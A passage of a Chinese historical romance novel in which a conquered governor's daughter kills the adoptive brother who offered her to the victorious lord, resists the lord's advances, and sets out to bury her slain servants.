“郭颐父亲是使君同窗,从前共为洛阳朝廷做事。元和十二年,帝讨荆州战败,主帅廖安基诬告其父渎职,耽误辎重转运,错过战机。郭父问斩,其母自缢而亡,你全力周旋,将他保下带回凉州。”商曜背靠姬昱而站,语气微哂,“很是不巧。廖安基今岁在冀州,联合渤海反我。”
“我砍下他的人头,转送给郭颐。”
姬昱颓然跌坐,喃喃道:“原来如此……原来如此。”
言尽于此。
见姬昱依旧沉默,商曜扬声叫人进来,平淡吩咐:“送使君去同夫人团聚。”
郭颐在帐外等,见姬昱失魂落魄,知道推进不妙,拧住眉心。转身向外,被忽然从一旁窜出来的韩朔扯住衣袖:“郭别驾!郭别驾!”
韩朔鬼鬼祟祟神色,郭颐脚步一停:“将军有事?”
“有事。”韩朔上前,压低声音,“那个临溪小娘子,可有婚配?”虽然主公这样的权势,抢人妻妾也无所谓,但若能不伤名节,老夫人会更高兴。
“不曾。”郭颐眉色一冷,“君侯没有见她?”
“没有。”韩朔一摊手掌,“我同主公说了女公子美甚,他还是不感兴趣,我想是不能等他自己主动要见了。你认识这小娘子,想个法子,让她去主公面前转一圈试试?主公打算礼遇姬使君,我不好又去绑他的女儿吧?没必要闹那么难看嘛。”
若见过此女依旧无动于衷,他真觉得少主公恐怕——那对天下女子也不会有兴趣了。
郭颐沉吟。
韩朔观他神色,又乐呵呵道:“待少主公幸了此女,带回晋阳去做妾室,使君想必也就妥协了,别驾一腔抱负才好尽情施展。一个女人而已,实在不值什么,没必要同她耽搁时间。别驾以为呢?”
更重要的是,他长兄正在议亲。老夫人和大翁主一旦欢喜,肯出来替韩家主持,那能够娶到的女郎,家世自然大不一样。
这些晋阳事,郭颐自然不知道。然思及今日临溪在人前怒斥他的锥心话语,和那副高贵凛然姿态,心头蓦地回流一股恨意。
女子而已,出身再高,性格再傲,也不过是个女人。一旦给人做妾,消遣享用发泄,再多傲骨也磋磨到无了。
郭颐微笑:“将军苦心,我知晓了。我替将军去办。”
韩朔大喜,拍拍他肩头:“有劳!”
4. 斫落
帐门忽然开了。
李芝兰还在睡着,临溪立刻藏好刀,警惕起身:“谁?”
郭颐弯腰入内,站直抬手,让亲兵押姬昱进来。
“阿父!”临溪大喊,同时扶住惊醒的李芝兰,“阿父!”
姬昱喃喃:“翩翩……”望向妻子,四目相对间,俱哽咽沉默。
临溪箭步就要上前,被亲兵持剑,悬颈阻挡。她识相,立刻站定,任另一人捆住双腕。
郭颐抬一抬下颌,另有卫士上前,将李芝兰双手捆缚,夫妇被推进军帐角落。
“女公子,跟我走吧。”郭颐收回目光,“我说了,你有大用。”
临溪心头一惊,姬昱已哑声叫他:“子昂!”
“郭子昂!”李芝兰亦悲愤吼道,“你要凉州,拿去就是了!如今局势落定,勿再伤我女!”
姬临溪怔怔看着眼前人冷漠的神色,颈侧刀光闪烁:“你要我如何?”
“自然是把君侯伺候妥当。”郭颐低头打量,语调另有一种古怪而渺远的幽微,“翩翩是真美啊。我少时第一次见你,就觉得这小女童长大后,必是名动天下的美人。既然这么美,岂能叫你明珠蒙尘?”
“郭子昂!”李芝兰跺脚,尖声道,“郭颐!是我们把你带回凉州的!是我们带你回——”
“那时我父亲下狱,义父是他至交,可有为他四处奔走?”郭颐打断,“师母,令尊那时在御史台行走,明知我父亲受奸人所害,为何一言不发?”
姬临溪攥紧双拳。
“那我给你认错!”李芝兰泪流满面,“子昂,我们给你认错。是我们错了……”
她到底说不下去,忽而扑通跪下:“子昂!师母求你,不要用这种方式伤害翩翩!”
军中对待受降女子的方式,是世间最丑陋面貌、最狰狞人性、最肮脏手段。她不能不恐惧,不能不为了女儿,舍弃全部尊严,苦苦哀求:“师母求求你——”
“阿母!”姬临溪脸色遽然一变,“阿母——”
姬昱亦陡然跪伏,紧紧抱扶妻子身体,侧脸吼向郭颐:“子昂!”
连郭颐自己都微微一怔,脸上现出一种似乎有些迷茫的莫名情态。
“够了!”临溪转向郭颐,恨得几欲泣血,“我跟你走。”
不动声色收紧袖间细刃:“我这就跟你走!别再折辱我父母!”
郭颐望一望帐内,唇角微扯:“真是美满亲爱的一家。我这无父无母之人,看了也动容万分。”
抬手示意亲兵:“带走。”
军中没有女使,只庖厨有几位厨娘仆妇,年岁大了,也不用胭脂黛膏。郭颐却心细如发,早早取来妻子饰品,指挥一名并州仆妇替临溪梳妆。
临溪一动不动,任其打扮。
“小娘子实在是好看。”仆妇操晋阳口音,并不知其中隐情,只当是君侯兴起找人服侍,“真是好看啊。凉州边陲,竟有如此——”
“少废话。”郭颐打断,“动作快些。”
仆妇噤声。
“翩翩可懂,何为辗转承欢?”他看向镜中女子,“你从前到底叫我一声义兄,我也不能辜负你,勉强指教你几句。温柔小意些,叫他用舒服了,愿意带你回晋阳去,你就有好日子过了,于义兄前程也有助力。义兄还要谢你。”
眼前少女不复这数十年的高高在上、圆满无缺,僵直木然,周身绝望。
他静静看着,知道她将要遭遇何等屈辱,心中生出快意:“不过你知军中如何行事?如若他不肯怜惜你,或许就赏给麾下郎将,商曜铁腕又冷情,还真不好说。若是不小心被他们玩死了,那义兄也真是没法子,非有意为之。往后清明,祭酒一壶,权当悼念。”
仆妇打翻口脂盒。临溪心中杀意急剧攀升,紧紧攥着手心。
心中暗暗发誓,不能失态,不能冲动。如若让他看见明日晨光,她就不叫姬临溪——但机会只有一次。
郭颐转身欲走,忽听少女开口:“既无胸襟释怀前尘,也无力报复真正仇敌,更无能还父母公道。得到旁人一丝温暖,却突然有了胆量,反过来记恨此人不肯施舍全部,甚至记恨他的家人圆满。真可怜。”
临溪低声重复:“你真可怜。”
她真的很懂如何激怒一个人。郭颐站定。
“三古十七岁,仰慕你才学。从前你造访府上,他总欢天喜地来报,说郭别驾来了。”临溪静静道,“雪宁阿姊十九岁,你最爱吃也夸赞多次的凉州行面,都是她做的。她从我出生就陪我长大,你娶妻时,她还去府上帮忙布置。”
“你叫人放箭那一刻,是不认识他们了吗?”
郭颐顿时轻蔑笑了:“不过一些奴婢。成大事者,怎能拘泥小节?妇人悲悯。”
临溪看他一眼,最终摇一摇头。
明日就要入主姑臧,商曜虽解甲,并没有睡下,静坐案前,在翻阅凉州各郡地理帛卷。听人报郭颐有急事求见,随意点了点头。
不想身后还跟着两名并州亲兵,又押着一人。虽蒙住脸,但见个头小小,身量纤细,即知是女子。
商曜神色一淡。
“君侯。”郭颐拱手,“我知君侯心志坚定。然,为示凉州诚意,也免姬昱徘徊踌躇,子昂还有一礼相送。”
揭开细葛布,露出临溪面容。
入目一双炽亮杏眸。
见商曜视线落住,郭颐方道:“区区薄礼,请君侯笑纳。”
临溪抬眼望去。
两人目光一碰。
只一刹那,商曜吩咐亲兵:“松绑。”
郭颐一怔,他已经垂首看回帛卷,语调冷淡:“送回使君和夫人身边。”
郭颐望着他,不自觉上前一步,还想再劝:“君侯——呃!”
一声惊呼,商曜本能抬头。
眼前却是骤然溅高的血红。
那位大约只到自己肩头的小娘子甫被松开双腕,忽然迅疾一动,纤细身体如光影横斫,无声无息到了郭颐身后。
那张漂亮脸庞上没有任何表情,抬起纤细腕骨,手起刀落,切过颈喉!
她只像一缕游魂,全程没有发出一丝声息,亦没有一丁点犹豫。
郭颐毫无防备,血眸陡然瞪大,双臂本能抬起一寸,想要去护颈口,却不得行,腕骨无力垂落。身板已为僵直形状,缓缓倒下。
不仅亲兵惊愕,饶是商曜,亦猝然起身。
临溪收刀站直,冷漠望着他颈间血口,一字一句:“我母亲巍峨女子,只跪天地山河,岂可跪宵小?”
这一刀下手极狠,精准割开喉管颈脉,郭颐实则已经不行了。血色迅速流失,奄奄一息。
唯有目光,死死绞缠临溪眉目,犹带着深重不可置信的色彩。
姬临溪轻轻抬履,精准踩在他脸上,手腕将薄刃轻巧一转,垂下眼睛,口吻平静:“没有那把剑,我一样可以杀了你。”
语毕,再度抬手,在商曜厉声制止中,长刀利落刺入郭颐胸膛。
这一刀落下,血光再起。
周围亲兵再迟钝,也终于反应过来。有二人猛地上前,一左一右扯住临溪手臂,押她跪下。
临溪抬头,满脸血迹,目光却明亮如炬,直直射向案后:“乱臣贼子,你也不得好死!”
亲兵立刻施力,严厉道:“住口!”
商曜缓步踱至她近前。
先是注视郭颐尸首,单膝蹲身,神色晦暗难辨。最终伸出手去,阖住其不肯瞑目的双眸。
而后转回视线,盯住临溪。
他一直注视。
临溪丝毫不怵:“别以为我杀不了你——”
下颌一痛,被人捏高。
他还是无声凝视。
那目光古怪极了。
像打量一件古董,却发现其最新奇;像审视一座废墟,却看出它最鲜活;像触碰一抔坚冰,却察觉它最热烈。
像发现世间最超出预期的美好事物,像目睹世间最不该发生却就是发生了的奇妙事件。
直到缓缓开口:“‘捧回清溪’。”
竟是微微一笑了。
那种深感事态有趣的戏谑笑容。
临溪不免些微愕然,商曜手上力道更重,掐高她下颚一寸:“我改变主意了。”
“来人,”他望着她,慢慢道,“送到我榻上。”
亲兵面面相觑,俱生出困惑。如此暧昧的指令,忽然发生在一具尸体身旁。
小娘子却勃然大怒,没有刀剑也无妨。寻到空当,猛地抬手拔下骨簪,毫不犹豫起身,刺向商曜心口。
然而他却不是那疏于习武的郭颐,神色眉眼一应未动,眼疾手快格挡开她手
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腕,再以自己的腕骨劈掉骨簪,牢牢禁锢临溪双腕。
目光在她眉眼间逡巡,看着残暴血迹从这张美极了的脸庞柔柔流下,姿态闲适,语气愉悦:“杀我是不够的。”
毫不留恋将她甩开,嘱咐亲兵:“送到帐后,绑起来。”
话音落下,大步向外,头也不回离开帅帐。
韩朔不解为何忽然要去见姬昱,亦步亦趋:“主公?”
“郭颐死了。”
“啊——”韩朔一惊,“怎么回事?”
“你口中那清溪杀的。”商曜望他一眼,语气讽刺,“凉州水土玄妙。这是以血水为溪?”
韩朔震撼:“姬昱那个女儿?”
商曜冷哼一声。
“那个小娘子?”韩朔不敢置信,“她黄卷点大呀!”
商曜唇角一勾,丢下一句:“不。她不及黄卷高。”
“杀了一个人?”韩朔在战场杀过无数的人,但头回听说十六岁小娘子动手,十分惊异,“她杀了郭颐?当真吗?”
商曜懒得再说,遣人打开关押姬昱夫妇的军帐,跨步进去,开门见山:“二位为人父母,非同寻常。”
姬昱原本靠着妻子,闻声转首,见到是他,愣一愣:“君侯?”
“令媛亲自杀了郭子昂。”商曜负手站直,“叫人刮目相看。”
李芝兰都愣在当场。姬昱腾地起身,满目不可置信:“杀了……杀了?”
“是。他死了。”
“无论二位作何感想,我有事同使君商讨,不可耽误。”
他命人松绑,径自转回身。
一夜之间发生太多事,姬昱疲惫到了极致。缓步佝偻入内,在一张小案后坐下,肩背不堪负荷,颓丧万分。
静默许久,毫无预兆开口:“这凉州,君侯拿去吧。”
商曜侧目。
“子昂……这么多年,其实我视为己出。”姬昱垂首,口中喃喃,“翩翩是我亲生女儿——”
商曜打断:“我没时间听你说这些。”
“我知你会把凉州留给郭颐,也无非将错就错,任他带你来,保住他日后在我麾下前程。实则不会有,我不重用背主之人。”
姬昱一怔:“是你先用廖安基人头引诱——”
“顺手罢了,他大可置之不理。七岁始受你教养,如今二十又三。既然死人依旧更重要,使君何苦视其为心血。”
姬昱终究颓然灰丧:“我不同你争论……且人都去了,再说也无益。”
“使君自己伤心去吧。”商曜取出一枚空白竹简,随手丢给他,语调依旧冷漠,“他死了,许多事要变。使君即刻修书,用你的官印告知凉州各郡,郭颐拼死守城,被我部曲所杀,保全他身后名。我亦会出面传信,愿意停战,凉州士子凡来投者,不计前嫌,皆可得用。”
“另三件事。各郡换防驻军,须我并州郎将监理;羌人战线,凉州驻军往年如何布置、近几年得力将领,整理清楚,尤其金城郡;最后,你亲自写信给荀白,我要见他。”
姬昱深深出一口气,似乎依然陷在那种磅礴悲伤之中,并未认真听他说话。
商曜皱眉,心底难免嫌他庸懦,摁下不表,淡然提醒:“还是使君想凉州边民为你那义子陪葬?”
姬昱闻言,脸上羞惭伤愤交织。最终同衰老一道消弭无形,只慢慢点了点头。
商曜可没有心情同姬昱讨论那个原本可以继承凉州、却死在姬临溪刀下的义子,得到答复,转身就走。
步伐止在军帐门口,高大身形微微一静。
“还有一事。”他再度开口,语气忽然变得轻快,“你这个女儿,我要了。”
嘴巴很是利索。
手刃仇敌,那人的血迹却正正溅在她眉心,恰似为她点妆。
人也漂亮极了,这很对。死人枯干血迹,天生该从最鲜活的面庞滑落。
他承认一件事。
他无比确定,在血迹高溅而她纤细身形翩然站立、双眸烈烈闪烁时,身体深处忽然涌起某种陌生而炽热的渴望——他确定,只是对她。
对这个在他眼下以利落动作和美丽姿态,绝不拖泥带水,亲自杀死她所痛恨之人的漂亮小娘子。
这种小娘子,真是过于可爱了。
商曜唇角微微一扬,大步离去。
5. 痛饮
行军艰苦,即便是帅帐也没有床,只一张席地宽榻。姬临溪双手被绑,背贴木柱,一动不能动。
大仇得报,却不及想象中快活。
李芝兰好说,不会多伤心,姬昱是真心疼爱器重郭颐的。临溪知道。
也明白为什么。姬昱同李芝兰成婚十年一直无子,问遍名医,才终于有了她。母亲生产时还极不顺利,险些大出血。姬昱心疼,宁愿不再要孩子。
二人也确实没有再生育。姬昱膝下没有男丁,随着年岁渐长,对郭颐那种近乎子承父业的期许就越发深刻。
他爱护临溪,但女儿撑不起他所希冀的未来。姑臧的、凉州的、乃至他所期许的,铸造乱世间能够容许生民安居乐业的一隅。
两种截然不同的爱。一种是想将她交给年长她十几岁的、看似能够“庇护”她的男子,一种是想托付全部的凉州疆域。
她也无从埋怨姬昱。道理临溪都明白,只是没办法不怅然。
如今也好。一切都结束了,凉州也不再属于父亲。
“你竟然会哭?”
临溪一怔,本能仰起脸来。
却是那冠英侯商曜。
那柄蟠螭纹长剑被他解在手边,双臂抱胸靠在她身后,闲闲打量她狼狈模样,眉宇英挺。
临溪顿时半滴眼泪也流不出来,开始警惕:“贼人!你放开我!”
“贼人?”他清清冷冷反问,“吾为列侯,着九章冕服,堂堂正正。如何就成你口中贼人?”
“你竟还有脸提堂堂正正这四个字?”临溪冷笑,“一心想用十二章纹的九章王,不是反贼是什么?”
十二章龙纹,天下仅一人而已。
商曜并未否认:“你会武?”
“与你何干?”临溪狠狠瞪过去,“我知道我杀不了你,若非你刻意辱我,也根本无意同你动手的。从头至尾,我只想过杀郭颐一人。可以放我走了吧?”
他这才动,信步走到她跟前,蹲下身体,神色倨傲:“你几岁?”
临溪恨不得吐他脸上:“与你何干!”
商曜并不生气,再问:“及笄没有。”
“与你何——”
他伸起手,虎口牢牢掐住她下颌,将脸抬高,细细端详。
而后淡淡确认:“及笄了。”
“走开——”
“你是不清楚局势么。”商曜依旧捏紧她脸庞,语气冷冷,“凉州是我的了。”
“你拿去。”临溪说话都费力,却依旧寸步不让,“谁稀罕?你以为我稀罕?那郭子昂都被我杀了。凉州原本不正是他的么?与我何干?”
他怔了一下,面上却慢慢绽开一层薄凉笑意:“你倒是识趣。”
“放开我。”临溪一字一句,“我警告你,别以为我不懂。如今我父亲已降,你随时可以入主姑臧,再没有杀害使君的道理。假使你这么做了,凉州士子断然会弃你而去。你并州多少人口?多少将领?又有多少文臣?难道足以管辖天下十三州?”
油嘴滑舌,废话还多。他根本懒得理会,只是又抛出问题:“婚配或议亲否?”
临溪后知后觉,心中生出一分最深层而本源的恐惧:“贼人!你这是何意?”
“倘若婚配,你丈夫今晚得死。”商曜稍顿,口吻促狭,“若议定亲事,未婚夫婿也得死。”
临溪大脑一片空白,急中生智道:“我议亲了!”
“我议亲了。”她盯着他漆黑眼瞳,“是荀将军——戍守张掖的荀白将军。他就在觻得县的将军府等我!就等我嫁过去了。”
商曜微微皱眉。
毫不犹豫松手,厌恶不再碰她,平淡质问:“荀白元和二年生人。同你?”她怎么看,最多最多,十六七岁的模样。
“同我。”临溪松一口气,面上镇静,“就是同我。方才我杀郭颐的那把薄刃,就是我们的定亲礼。”
又补充道:“荀家夫人早年因病过世了。我父母知道你要伐凉,宁愿我给他做续弦,也要将军庇护我。他也同意。人人都知道,不信你去问。”
商曜内心嗤笑一声。
他都不知世间怎么还有这样懦弱的父亲。这种平庸的男子,竟也能给人当爹了?
都不必预设女儿。倘若有人敢伤小昔分毫,顷刻内不叫对方人头落地,他都不叫商长叙。
“可以放我走了吧?”临溪似乎突然筋疲力尽,“我只要我父母安好,今后隐姓埋名,潦草一生也无妨。无心报凉州之仇。实在不碍着你什么事。”
他自然不是顾虑荀白,是不屑于同人争抢。虽然此女是有些意思,若真议定了亲——
再说吧。待他空闲,他可以花一息时间考虑,是否要抢走带回去。
商曜不置可否,直起高大身体,持剑砍断她手后绳缚。
长剑回鞘。
临溪揉了揉手腕,剜他一眼。慢慢走出去几步,见他依旧背对自己立视窗外,无声抬手,拔下最后一枚木簪。
眼见就要靠近,商曜猛地侧身。
抬手即死死捏住她手腕,另一掌侧如风,接连抵开几击,寻到时机再度劈掉木簪,利落将她双手反剪在腰后。
低头俯下身去,二人骤然靠近。
鼻息相抵,女子鲜妍面容就在眼前。
男子无动于衷,漠然讥道:“凉州刺史府最有血性的,怕是女公子。”
她的确习过武,出手很有章法。心也狠,不踌躇,有刀剑时犀利加持,怪不得能一击致使郭颐毙命。
临溪还是恶狠狠瞪他。
“不知下次劈小娘子簪钗,”商曜手腕使力,迫她更近一分,眼睛眨了一下,口中凉凉道,“是你又要杀我,还是我需解你襦裙。”
“放肆!”姬临溪大怒,只感到再也无法忍耐,拼尽全力挣脱,全然是不管不顾同归于尽的架势,“谁准你这样对我说话?我杀了你——”
“省省吧。”
他面上是藏都不藏的嘲讽:“你当世间男儿,尽如郭子昂般文弱?”
忽然使劲,将人重重压向那张地榻,坚实胸膛覆于其上,字字清晰:“人道大破凉州之时,回引清溪。如今看来,是无人知晓你真实性情。”
临溪胸脯剧烈起伏:“我迟早会杀了你……”
“若知晓,就会知道,血水合该被痛饮。”他说下去,有些慢悠悠的调戏意味,“而非学溪流绰约。”
簪子用完。这回是真没有任何发饰了。
晨间微微起了风,少女长发飘扬,馨香溢满颈侧。
两人对视片刻。
商曜毫不留恋,松手就将她扔在榻上,径自直身抚平纁裳,口吻淡漠:“我这就进姑臧城。故土易主,女公子要亲眼看?”
闻言,临溪又是恨恨剜他。
他低低笑一声,却像是男子快活极了的笑意,转头去到帅帐前室。
临溪起身,惊惧不定。顾不得伤怀,冲出去吼:“我父母——”
商曜已在穿甲,动作利落,随口吩咐:“带她去。”
临溪再回军帐,只看到李芝兰。
她扑上前:“阿母——”
“翩翩!”李芝兰亦冲过来,上上下下看她。
见女儿青丝泄落,衣襟散乱,眼前一晕:“翩翩……”
“女儿无事!”临溪并不扭捏,直接就道,“我想杀他,但未能成功,打了一架,以至衣冠不整。并无
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别事!阿母放心。”
李芝兰不免愣愣。非她存心往坏里想,只是不信,世间能有男子,对着翩翩这张脸,且唾手可得时,依旧能够忍住。
“这厮真难杀!”她却只是破口大骂,“郭颐我略略出手就成了,这厮却屡试屡败……”
李芝兰回过神,忽地抓住临溪双手:“真是你杀了郭子昂?”
“是我。”临溪坦然,“还真是我,非那商贼。他不曾动手。”
李芝兰脱口道:“其实他待我们的过错,罪不至……”
“阿母。”临溪眉目一凛,“你这是什么话?他杀了府上二十余口人。就这一条,我说过,我必亲手除之。”
原是因为这个。李芝兰怔忡片刻,将她抱入怀中:“可怜孩子。”
“我有什么可怜。”临溪忽然哽咽,“雪宁阿姊父母都还在,她却——”
“翩翩。”李芝兰打断,“我同你说一件事。”
临溪嗯一声。
“那商曜说……”李芝兰小心看她脸色,“他对你父亲说……”
临溪心头不妙,反攥母亲臂膊:“说什么?”
“他说——”李芝兰踌躇不决,“他说,他要你。”
临溪错愕稍顷,倏地起身:“我今日非杀了他不可!”
“翩翩!”李芝兰猛地抓住女儿,“翩翩,你听我说!这事,我们再想想法子。”
她口中说着想法子,神情里却是某种钻营和斟酌的谨慎情绪。
“阿母——”临溪一怔,“你疯了吗?”
“你昨日还那样怕他,怕到被蒙蔽心志,要我逃命去张掖。又跪下恳求郭颐,不愿我被——”姬临溪茫然,“怎地一夜过去,口径天翻地覆?你是见过他了?”
“他答应不动凉州一兵一卒,只要你父亲不再生事。”李芝兰望着她,“且——”
“条件是我吗?”临溪暴喝,“你们竟然肯同意?我这就去杀了他!”
“自然不是!”李芝兰也起身,语气有些凌厉,“翩翩,你怎能这样误解阿母?你就是一辈子不嫁,阿母也没有什么。然经此一事,阿母亦发觉,你父亲根本无法好好地保护你。这本来就是我同意将你送去张掖的缘由啊。”
“商曜比那荀白,又要强上百倍千倍不止。”李芝兰捉住女儿两只手,“翩翩,你冷静。阿母是因为恐惧会有许多不好的事,才想要荀白庇护你。而如今,是他本尊愿意要你。就他一个人——”
“阿母管这叫庇护?”临溪想起那人说“解你襦裙”的轻蔑神色,怒从中来,“所作所为都是一样的!”
“婚配如何能一样呢?”李芝兰握紧她臂膊,“翩翩,你早及笄了,明年就十七岁。既然最后都是要嫁,嫁作一方侯夫人,自然是比寻常将领更为稳妥。我起先以为他年纪轻,和众多诸侯王一样,亦是嗜血屠戮、好大喜功之辈,但看他处置凉州诸事,心性却极为沉着。你父亲说他不会动凉州军民,且对你也有……”
“你们真够自负的。”
姬临溪扯唇:“阿母,我不知你是怎么了,或许是被父亲欺瞒。那我告诉你,我会是什么下场。”
“使君女联姻嫁作其他州郡侯夫人,从前屡见不鲜。但都是双方有意结盟,或一方放低姿态讨好。如今你看看,凉州已经是谁说了算,父亲拿什么筹码同人联盟。”临溪语句平滑,不再客气,“我说难听些,你我连同整个凉州刺史部,性命全捏在商曜手里。他高兴了,纳个妾睡个女人,是不足挂齿。娶阶下囚的女儿做冠英侯夫人?阿母,你自己听来不觉得滑稽吗?我本是一点不怪你和阿父,我失察也有错。但若信了商曜这种鬼话,我真觉得你们会被郭子昂骗,也是情理之中了。”
6. 情义
李芝兰一怔,却不自觉道:“翩翩美甚……”坦白说,她是暗暗预料过商曜会动心的。
郭颐坚持要送上临溪,未尝不是因为同样如此猜测。
“所以他要。”临溪丝毫不为所动,“够了、腻了,抬手就杀。阿母还要糊涂吗?”
李芝兰又是怔忡片刻。忽然也冷静下来,愧疚难当:“是阿母愚钝。活了四十余年,还不及翩翩看得清楚。”
临溪叹气,转首张望:“父亲呢?”
“一道去姑臧了。”李芝兰低声答,“城中守军原也不想抵抗,如今既已闹到这等地步,子昂也死了,你父亲不愿再生是非了。”
临溪默然不语。
“阿云那边……”李芝兰踌躇,“我替你瞒着,再给些银钱,养她余生。”云娘是郭颐的妻子,两人育有一子,四岁。
郭颐和临溪一直关系疏远,但云娘为人是很和气的。
临溪怔了一怔,倔强一扬下颌:“母亲安排就是。”
“我们能自行离去吗?”她不想伤心,果断去推门,“他方才允许我来找你……”
“要等姑臧诸事交移完毕。”李芝兰揽住她,“到时就会放我们归家。翩翩不必担心,已经没有性命之忧了。”
“我怕什么。”临溪低低回了,坐在窗下,仰头望着一角的窄天,“阿母,若非商曜此人并不贪美色,我会遭遇什么?”
李芝兰一静。
“我没有刀了。”临溪低头,张开手,喃喃道,“两把刀都用掉了……”
“翩翩!”李芝兰一惊,猛地走过去抱住她,“别害怕。”
扶正女儿脸庞,皱眉紧紧凝视:“别怕!都过去了!”
她想了许多言语安慰,谁知道小女只难过这一句,只沉浸在难过里这一句。忽地又利落蹦起来,在帐中转了两圈,抽出一根不知拨火炙肉还是浣洗衣物的长长木棍,头也不回往外跑。
“翩翩——”
临溪已经到了分营外,果然被卫士阻拦,将木棍举防在胸前,骂道:“滚开!我就一个人,母亲还留在这里,能有何事?”
卫士不动。她出手就打,众人知道这是凉州刺史之女,不好真的动手,只能向后躲:“女公子勿与我们为难!主公没有放话,不可放女公子离开军营。”
“那他没有放话,你们呼吸用饭睡觉否?”姬临溪是真手狠,执木棍一头,重重扫过几人,“我说了!我母亲会留在这里!”
“女公子究竟有何事?”一名卫士被绊踉跄,无奈开口,“你同我们讲。若能帮上……”他们知道凉州大势已去,一个女郎掀不起风浪,但众位郎将都不在,没人能拿主意。
“替人收尸!”临溪怒道,“你们能帮么?滚开!”
卫士还在犹豫,她忽然从几人中间躲闪过去,疾奔至营道尽头,丢开木棍。随手解开一匹供以交替赶路的大宛骏马,一个纵身高高跃起,纤瘦身形在半空中扬起一道利落的弧,紧勒缰绳回头,轻蔑看他们一眼。
果断转身,喝马前行。
另一亲兵震惊:“那是韩将军的备马——”
“她怎么上去的?”他身旁卫士错愕,“——她还没有马高!”
领头卫士还算镇定:“我这就去给韩将军报信!你们看好那位使君夫人!”
李芝兰这时才气喘吁吁赶到,只看见一匹骏马凌乱疾驰,马蹄踩碎尘沙。
“这——”李芝兰跺脚,“这种烈马!会出事的!快去拦下来!”
几名卫士都还在呆愣,李芝兰叫道:“快去啊!”
这马被韩朔驯得极有灵性,虽知不是主人,不算稳健,间或嘶号,依旧遵循本能跟随马鞭动作,载着少女在驰道胡乱疾驰。
但终究是不曾亲手驯过的马,姬临溪长勒缰绳喝停时,马儿还是突然发了狂。
她力气太小,抱扯不住马颈鬣毛,慌忙调整成脸朝下的姿势,重重摔落在土坡上,胸膛传来剧痛。
狠狠擦掉一瞬间涌出的泪,跌跌撞撞起身,强忍痛楚,沿着郊外驰道找寻。这世道死人太寻常了,死去的人比有饭吃的人还要多。
如今姑臧城郊有并州营驻守,刺史府中人非并州士兵,尸首未必有人收整。
果然没有。大约只是一队并州兵路过看见,草草归置在一旁坡下,以野草覆盖。姬临溪咬牙爬上去,又伸出腿,慢慢下到坡地,找到雪宁阿姊,拿开野草。
胸口数枚长箭已被人拔掉,一夜过去,面色灰白,自眼睑至下颌,都已僵硬,腕骨冰凉。
身旁的三古也一样。他年岁更小些,个头也是很小。拔箭人力道不够,留了一段在少年心口处。
临溪跪下。
她忽然觉得割开颈喉是太仁慈的死法,忽然觉得自己下手还是留有余地。
身后戍卫军士也赶到了,匆匆下马,追到坡外喊:“女公子——”
见她跪在坡上,肩膀颓然耸动,陷入嚎啕大哭,一时都没有动。
时间一分一秒过去,日头慢慢升了起来。
临溪终于撑膝起身,转向他们,一步步走来,神态漠然:“我要你们送我回姑臧城。待我拿些东西,再帮我一道安葬。就只是这件事。”
领头卫士名杜师,素日负责戍卫帅帐,判断行事最为机灵。默然片刻,点了头,让开坡道:“女公子请。”
刺史府前三座连屋为凉州衙署,隔开一座园林,则是姬昱一家所居住的宅邸。八月底,早是枯木萧索。
“此为我凉州戍卒名籍。”衙署堂屋内,姬昱跟在商曜身后,指向卷宗木架,“市籍、宗室籍在这一格。田簿在下,垦田如数。”
商曜颔首。
“算赋簿在此。”姬昱木木引他到另一排,“截至去岁,今岁尚未开始计算。君侯既接手,可安排人开始了。”
商曜示意记下,道:“爰书、劾状、囚簿,一并交予。”
“是。”姬昱垂眸,“在隔壁。”
“我麾下谋士众多,此次随军,是邬逊和夏弋先生。尚在金城,过几日就到。”商曜负手,“功劳与邮书,交给他二人。”
文臣体力无法日夜奔袭,姑臧事又不难处置,是以他也懒得催促那二位老军师,骑马活像骑驴。
功劳为凉州官吏考绩与军功记录,邮书则是同洛阳及各州各郡的公文往来,显然极为重要。姬昱点头。
“戍卒衣物簿,我亲自看。”商曜又道,“明天日落前,命人归置完毕。”
这是边塞戍卒的物资配给和周转清单,如干粮、冬衣、兵器一类。姬昱望一望他,唇角苦涩一抬。
商曜垂首翻阅一卷钱出入牍,姬昱候在一旁沉默等着。外间一阵骚动,韩朔急匆匆往里来:“主公!”
“何事。”
“那清溪女公子硬要闯府!”韩朔气极,“她还弄丢了我的马……”看见姬昱陡然紧张的神色,音量渐低。
商曜如今得了一种听见清溪就想嘲讽的毛病,但在她父亲面前,生生忍住,只冷淡问:“为何?”
“昨日,郭颐杀了她的护卫和女使。”韩朔摸鼻,“她要替他们收尸安葬。说,生前物件都在刺史府厢房里。”
姬昱眼角微微一动,拱手致歉:“小女一向胡闹,君侯不必理会。”
商曜抬一抬眼睛:“如何胡闹了。”
转头示意韩朔:“让她去。”
姬昱抿一抿唇,却忽然觉得,这才是翩翩非要对子昂痛下杀手的根本缘由。商曜又不曾对她如何,何以憎恨至此?
自郭颐身死,他还没有见过临溪。想到这里就有些待不住,潦草告辞,快步出去。
“这女公子太无法无天了!”韩朔这才大声控诉,悲愤溢于言表,“主公!她把玉逍遥弄丢了!”
那么丑的马,起这么一个名字。商曜蹙眉:“饿了自会回来。”
“那可是玉逍遥啊!”韩朔痛心,“我儿近九尺,她七尺有无?是怎么上去的?到底是怎么……”
“你儿来自大宛。”商曜打断,“是亲生么?”
玉逍遥乃大宛国汗血宝马。韩朔嘴巴一收,主公难得诙谐,他却实在笑不出来:“这女子留不得,主公。她太吓人了。”
商曜拿起另一卷简牍,随口反问:“哪里。”
“光生了张美人脸,实则心如蛇蝎啊。”韩朔一把鼻涕一把泪,“你看看她!姬使君义子,那就是她义兄,说杀就杀;今日又抢走我的玉逍遥!我原本还想着,找个女人来服侍少主公,回头好去老夫人那里领功。如此一看,主公枕畔,岂容这样的人安睡?”
他感到更不妙。因为,主公分明微微地,扬了一下唇。
“翩翩!”
后宅厢房外,姬昱亦叫住临溪,拧住眉心:“谁许你来胡闹?你阿母呢?”
“我只拿几样物件。”临溪勉强耐心解释,“时下安葬风气,我总要取几件阿姊生前……”
“你是因为他们,去杀子昂么?”
姬临溪一怔。<
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“翩翩。”姬昱眉间愁雾弥漫,“其实子昂所作所为……”
临溪满脸不可置信:“父亲?”
“他不是真要伤杀你我。”姬昱望着她,“何况将你交给君侯,委实也不算绝人之境……”
临溪猝然退后几步,恍惚摇头。
“罢了。”姬昱心头痛楚,却也不忍苛责,轻声道,“阿父不怪你——你且去吧。”
“何谓‘不怪我’?”临溪重复,定定看着他,“父亲有资格怪我吗?”
这话就是彻头彻尾顶撞了。姬昱一怔,到底还是安抚:“好了——”
